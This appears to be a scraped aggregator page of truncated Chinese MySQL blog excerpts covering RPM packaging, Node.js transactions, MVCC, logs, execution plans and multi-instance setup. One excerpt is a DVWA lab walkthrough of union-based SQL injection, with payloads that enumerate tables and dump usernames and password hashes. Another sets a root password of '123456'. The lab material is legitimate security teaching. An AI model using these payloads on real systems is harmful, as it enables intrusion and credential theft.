mysql数据库

制作MySQL RPM安装包Spec

我是研究僧i 提交于 2020-01-07 12:01:11
适用环境: 数据库版本:MySQL 5.7.26 操作系统:CentOS 7 制作思路: 将数据库初始化和配置工作放到安装脚本中方便定制: 1、打包MySQL应用目录 2、不自动生成配置文件 3、不自动生成数据目录 4、不自动初始化数据 Spec代码: # ========================================= # # MySQL参数配置 # mysql源码路径 # 源码包版本 %global src_base mysql %global version 5.7.26 %global src_dir %{src_base}-%{version} %global cmake_bin /home/rpmbuilder/cmake-3.16.2-Linux-x86_64/bin/cmake Name: %{src_base} Version: %{version} # 安装版本 Release: 1 # 安装包介绍 Summary: MySQL Server # 遵循协议 License: GPLv2 # 打包需要 # BuildRequires: cmake /sbin/useradd /sbin/groupadd /bin/bash /bin/sh /bin/chown # 安装需要 # Requires: ncurses ncurses-devel

mysql 联合查询注入

戏子无情 提交于 2020-01-07 09:21:07
一、Dvwa low级别 1.判断sql注入漏洞类型为:’为边界的字符串型 2.判断列数和显示位:2列2个显示位 1' order by 2 3.确定数据库:1' union select 1,database()-- - 4.查看数据库有哪些表:1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')-- - 5.查看对应表有哪些列:1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')-- - 6.查看账号密码信息:1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users)-- - 二、dvwa medium 级别 使用bp抓包查看源代码,源码有mysqli_real_escape_string()转义函数,所以不需添加边界符 1.判断sql注入漏洞类型为:有mysqli_real_escape_string()

nodejs mysql 事务封装

拟墨画扇 提交于 2020-01-07 08:51:22
mysql.js const mysql = require("mysql2"); class MysqlModel { constructor() { this.mysqlConfig = config.mysql; } /** * 实例化mysql */ mysqlInstance() { const poolCluster = mysql.createPoolCluster({ removeNodeErrorCount: 1, // Remove the node immediately when connection fails. defaultSelector: "RR" //RR,RANDOM,ORDER }); const mysqlNodes = this.mysqlConfig; for (let node in mysqlNodes) { poolCluster.add(`${node}`, mysqlNodes[`${node}`]); } return new Promise((resolve, reject) => { poolCluster.getConnection(function (err, connection) { if (err) { reject(err); } else { resolve([ connection,

MySQL MVCC Undo log Redo log

我的未来我决定 提交于 2020-01-07 08:38:47
目录 什么是MVCC? MVCC-插入 MVCC-删除 MVCC-修改 MVCC-查询 Undo log Redo log 什么是MVCC? Multi Version Concurrency Control (多版本并发控制) 并发访问(读或写)数据库时,对事务内正在处理的数据做多版本管理。以实现写操作堵塞的同时,依然可以进行读操作。 MVCC-插入 插入规则:在数据行版本号列保存当前事务ID。 MVCC-删除 删除规则:将删除版本号列更新为当前事务ID。 MVCC-修改 修改规则:现将命中的数据行copy,将原数据的删除版本号设置为当前事务ID(33)。 MVCC-查询 查询规则: 1. 查找数据行版本小于或等于当前事务版本的数据行。这样可以确保事务读取的行,要么是在事务开始之前就存在的,要么是事务自身插入或修改过的; 2. 查找删除版本号要么为NULL,要么大于当前事务版本号的数据行。这样可以确保查询出来的记录在事务开启前没有被删除。 Undo log Undo意为取消,以撤销操作为目的,返回指定某个状态的操作。 Undo log指事务开始之前,在操作任何数据之前,首先将需操作的数据备份到一个地方 (Undo Log)。 UndoLog是为了实现事务的原子性而出现的产物。 Undo Log实现了事务的原子性: 事务处理过程中如果出现了错误或者用户执行了 ROLLBACK语句

MySQL系统信息函数

纵饮孤独 提交于 2020-01-07 08:30:38
系统信息函数是用来查询MySQL数据库的系统信息。 系统信息函数包括查询数据库版本、数据库当前用户等信息。 MySQL系统信息函数如下表所示: MySQL系统信息函数 version() 返回数据库的版本号 connection_id() 返回服务器的连接数 database() 返回当前数据库名 schema() 返回当前数据库名 user() 返回当前用户名称 system_user() 返回当前用户名称 session_user() 返回当前用户名称 current_user 返回当前用户名称 current_user() 返回当前用户名称 charset(str) 返回字符串str的字符编码 collation(str) 返回字符串str的字符排列方式 last_insert_id() 返回最后生成的auto_increment(自动增长)的值 练习代码: ## MySQL系统信息函数 select version(),connection_id(); select database(),schema(); select user(),system_user(),session_user(); select current_user,current_user(); select charset('admin'),collation('关系型数据库'); select

Mysql设置忽略大小写

安稳与你 提交于 2020-01-07 08:26:48
如果你不在意数据的话直接删除数据(删数据库前请备份) 1 停止MySQL 2 删除 MySQL的数据 /var/lib/mysql 3 修改该 lower_case_table_names = 1 4 启动 mysql 4 搞定 解决Navicat连接MySQL出现1251-Client does not support authentication protocol requested by server; mysql> alter user 'root' @ 'localhost' identified with mysql_native_password by '123456' ; mysql> flush privileges ; 来源: CSDN 作者: 一念永恒 链接: https://blog.csdn.net/u013305864/article/details/103865459

mysql 日志文件(转于我的同学和大家共同分享)

穿精又带淫゛_ 提交于 2020-01-07 08:17:34
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 由于最近碰到一个日志清理的问题,所以就花时间写了这篇文章,严格来说只是学习笔记。 1.通用日志文件 默认安装情况下不开启,即不会生成这个文件,需要手工开启,可直接在命令行中设置:set global general_log = ON。即时生效。重启MySQL服务后,会关闭,需重新启动。 也可在配置文件my.ini中设置:general_log=on。这样每次启动MySQL服务都会自动启动。 这样MySQL就会在data目录下创建一个和你计算机同名的日志文件:计算机名-PC.log。 以后你对MySQL做的任何操作,都会被记录到这个日志文件中。 2.二进制日志文件 默认安装情况下不开启,即不会生成这个文件,需要手工开启,在配置文件my.ini中的[mysqld]后面加入:log_bin=binary_log。这里的binary_log为二进制文件名。 这样MySQL就会在data目录下创建如下两个文件:binary_log.000001和binary_log.index。 以后对MySQL表做的任何更新,都会被记录里到这个日志文件中。 当在data目录下手工删除了某些二进制日志文件时,一定要同时删除binary_log.index里面的对应记录,否则mysql服务将无法启动。 可在命令行中通过 show

数据库性能分析利器—执行计划

依然范特西╮ 提交于 2020-01-07 07:38:31
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 在讲这个问题之前,说一种现象,大家可能会经常遇到这样的情况感觉数据库好慢啊,数据库cpu咋这么高,内存好像不够用了,应该咋办呢,很多同学一脸茫然,也有少部分同学能说建索引,读写分离,分库分表这样大而化之的优化策略,那具体到执行层面如何细化呢?相信绝大多数测试同学已经进入盲区,数据库的优化是从定性到定量的过程,比如是否沿着索引查询,扫描减少了多少行,文件排序减少没,tps提升多少等等,今天就从sql本身给大家剖析数据库执行计划。 数据库执行计划是啥意思?在我看来,就是告诉我这条sql需要做什么,它是怎么做的,通过执行计划我们能分析出sql的性能以及改进思路。我们以主流的mysql为例,给大家举例如何做执行计划; 在mysql中,执行计划在sql语句前加上explain即可,如图1,大家已经看到出现了很多行, 图1 我先逐行解释下字面意思 Id 代表select语句的编号,相当于标识作用; Select_type 查询类型,常见的例如:simple(不含子查询),primary(含子查询或派生查询); Table 所查询的表; Partitions 一般查看表分区情况; Type 查询方式,数据库性能诊断的重要依据,一般有all,index,ref,eq_ref,这一行是重点,大家先记住很重要! Possible

Mariadb-10.2.25 多实例

匆匆过客 提交于 2020-01-07 03:24:46
Mariadb-10.2.25 多实例 定义目录 mkdir -p /mysql/{3306,3307,3308}/{bin,data,etc,log,pid,socket} 生成数据库文件 /app/mysql/scripts/mysql_install_db --datadir=/mysql/3306/data --user mysql /app/mysql/scripts/mysql_install_db --datadir=/mysql/3307/data --user mysql /app/mysql/scripts/mysql_install_db --datadir=/mysql/3308/data --user mysql 权限设置 chmod -R mysq.mysql /mysql 配置文件 cp mariadb-10.2.25/support-files/my-huge.cnf /mysql/3306/etc/my.cnf vim /mysql/3306/etc/my.cnf [mysqld] datadir = /mysql/3306/data port = 3306 socket = /mysql/3306/socket/mysql.sock [client] port = 3306 socket = /mysql/3306/socket/mysql

部署nginx后无法访问数据库,查看www-error.log日志报错Class 'mysqli' not found in /usr/local/nginx/html/mysql.php on line 2

↘锁芯ラ 提交于 2020-01-07 02:00:13
检查你的php-mysql包是否安装 [root@localhost nginx]# rpm -qa php-mysql 没有任何输出则没有安装,接下来用yum安装php-mysql yum -y install php-mysql 重启php-fpm再验证 systemctl restart php-fpm 来源: https://www.cnblogs.com/guarding/p/12150061.html